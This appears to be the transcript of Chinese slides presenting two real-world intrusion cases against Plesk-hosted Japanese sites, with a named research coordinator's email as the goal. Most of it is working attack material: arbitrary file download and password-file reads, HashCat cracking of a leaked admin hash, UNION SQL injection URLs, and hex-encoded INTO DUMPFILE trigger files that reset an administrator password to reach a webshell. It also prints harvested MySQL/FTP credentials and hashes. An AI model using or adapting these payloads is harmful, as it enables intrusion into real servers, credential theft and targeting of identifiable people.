Plesk独立主机案例

Download Report

Transcript Plesk独立主机案例

Plesk建站系统安全案例两则
邮件服务器安全专题 (一)

全称Parallels Plesk Panel,SWSOFT开发

主机管理软件,主机控制面板

跨平台以及多种开发平台支持

多国语言支持,快捷安装和安全设置

内置虚拟化支持,K级别用户稳定运行
I. 信息梳理,寻找入手点
II. 同服务器旁注挖掘漏洞
III. 根据Plesk平台结构进行社工
IV. 根据Plesk平台结构特点进入目标站点
V. 登陆Webmail管理员,登陆目标Email
• Target:
市川和義
ichikawa@****.or.jp
→ Email域名
化学技術戦略推進機構研究開発事業部
超ハイブリッド材料プロジェクト コーディネター
• Server:
• 任意文件下载漏洞:
file_down.php?id=42&file=/public/_upload/type017_42_1/file/file_13765504518.pdf
• 下载漏洞验证
• 查看程序代码以及数据库密码
• 汇总信息
成功得权站点信息:
MySQL:h26376
10225448
FTP: h26376
10225448
h26376:x:10019:10005::/var/www/vhosts/yam*********eien.jp:/bin/false
目标站点:
h26567:x:10062:10005::/var/www/vhosts/****.or.jp:/bin/false
• 读取目标站点配置
成功得权站点信息:
MySQL:h26376
10225448
FTP: h26376
10225448
h26376:x:10019:10005::/var/www/vhosts/yam*********eien.jp:/bin/false
目标站点:
h26567:x:10062:10005::/var/www/vhosts/****.or.jp:/bin/false
• 跨到目标站点
cat /var/www/vhosts/****.or.jp/pd/d..httpdocs@plesk-stat
网站目录下 /pd/d..httpdocs@plesk-stat 文件就是该虚拟主机用户的密码配置文件
根据 /etc/passwd 文件,虚拟主机最高管理员的信息同样能读到:
webadmin:x:10003:10005::/var/www/vhosts/******.technowave.ne.jp:/bin/false
cat /var/www/vhosts/******.technowave.ne.jp/pd/d..httpdocs@plesk-stat
webadmin:$1$xVARTpe1$L8sesZdDBYwP/g5XYHNRc.
• HashCat 暴力破解密码
已经确定密码是8位纯数字,HashCat跑出密码是分分钟的事。
I. 注入点 root 无权 寻突破
II. 挖掘其他漏洞进行代码审计
III. 寻找update语句,写入trigger文件
IV. 触发Trigger修改管理密码并验证
V. 后台获得Webshell并提权 获得 数据库
Root权限注入点:
http://xxx.com/xxx/details.php?cd=0+union+select+1,2,3,group_concat(user,0x3
a,password,0x3a,host,0x3c62723e),5,6,7,8,9,0,11,112,13,14,15,16,17,18,19,20+
from+mysql.user
MySQL的用户密码和后台密文都无法解密(注意被选中的密码部分)
http://xxx.com/xxx/details.php?cd=0+union+select+1,2,3,group_concat(login_id,
0x3a,password,0x3c62723e),5,6,7,8,9,10,11,112,13,14,15,16,17,18,19,20+from
+XXXX_nc_members
注入点:
可读所有数据库,管理员密码无解
MySQL权限,load_file()函数可用,无法对Web目录的文件进行读写
PHP的Magic_GPC转义未开启,可以读写一些有权限的目录
思路:
写入trigger,执行update语句,改掉管理员密码,之后进后台拿
webshell
http://xxx.com/xxx/include/netcommons_file.php?path=/cabinet/1/.././.././../mod
ules/cabinet/admin/downloadnum_add.php
查看源码并配合注入找到一个执行mysql update操作的php: downloadnum_add.php
对应数据表 xxxx_nc_cabinet,用于统计文件下载次数
TYPE=TRIGGERS
triggers='CREATE DEFINER=`admin`@`localhost` TRIGGER xx
BEFORE UPDATE ON xxxx_nc_cabinet\nFOR EACH ROW
\nbegin\nif NEW.file_id=2 then\nupdate xxxx_nc_members set
password=md5(\'123321\') where member_id=1;\nelseif
NEW.file_id=1 then \nupdate cicc_nc_members set
password=\'5b6c27c0f38d58bfb79739a4a7fcb70e\' where
member_id=1;\nend if;\nend'
sql_modes=0
definers='admin@localhost'
http://xxxx/xxxx/details.php?cd=0+union+select+0x545950453d5452494747455253d
a74726967676572733d2743524541544520444546494e45523d6061646d696e6040
606c6f63616c686f7374602054524947474552207878204245464f52452055504441
5445204f4e20787878785f6e635f636162696e65745c6e464f52204541434820524f5
7205c6e626567696e5c6e6966204e45572e66696c655f69643d32207468656e5c6e7
5706461746520787878785f6e635f6d656d62657273207365742070617373776f726
43d6d6435285c273132333332315c2729207768657265206d656d6265725f69643d
313b5c6e656c73656966204e45572e66696c655f69643d31207468656e205c6e7570
6461746520787878785f6e635f6d656d62657273207365742070617373776f72643d
5c27356236633237633066333864353862666237393733396134613766636237306
55c27207768657265206d656d6265725f69643d313b5c6e656e642069663b5c6e65
6e6427da73716c5f6d6f6465733d30da646566696e6572733d2761646d696e406c6f
63616c686f737427,'','','','','','','','','','','','','','','','','','',''+into+dumpfile+'/var/lib/mysql/
xxxx_en/xxxx_nc_cabinet.TRG'%23+--+
TYPE=TRIGGERNAME
trigger_table=xxxx_nc_cabinet
与TRG文件操作1完全类似
http://xxxx/xxxx/details.php?cd=0+union+select+0x545950453d545249474745524e4
14d45daa747269676765725f7461626c653d787878785f6e635f636162696e6574a,''
,'','','','','','','','','','','','','','','','','','' into+dumpfile+'/var/lib/mysql/cicc_en/xx.TRN'+-+%23
触发地址:
http://xxxx/xxxx/modules/cabinet/admin/downloadnum_add.php?file_id=2
Id为1的管理原密码被update为123321的md5值(返回空白)
c8837b23ff8aaa8a2dde915473ce0991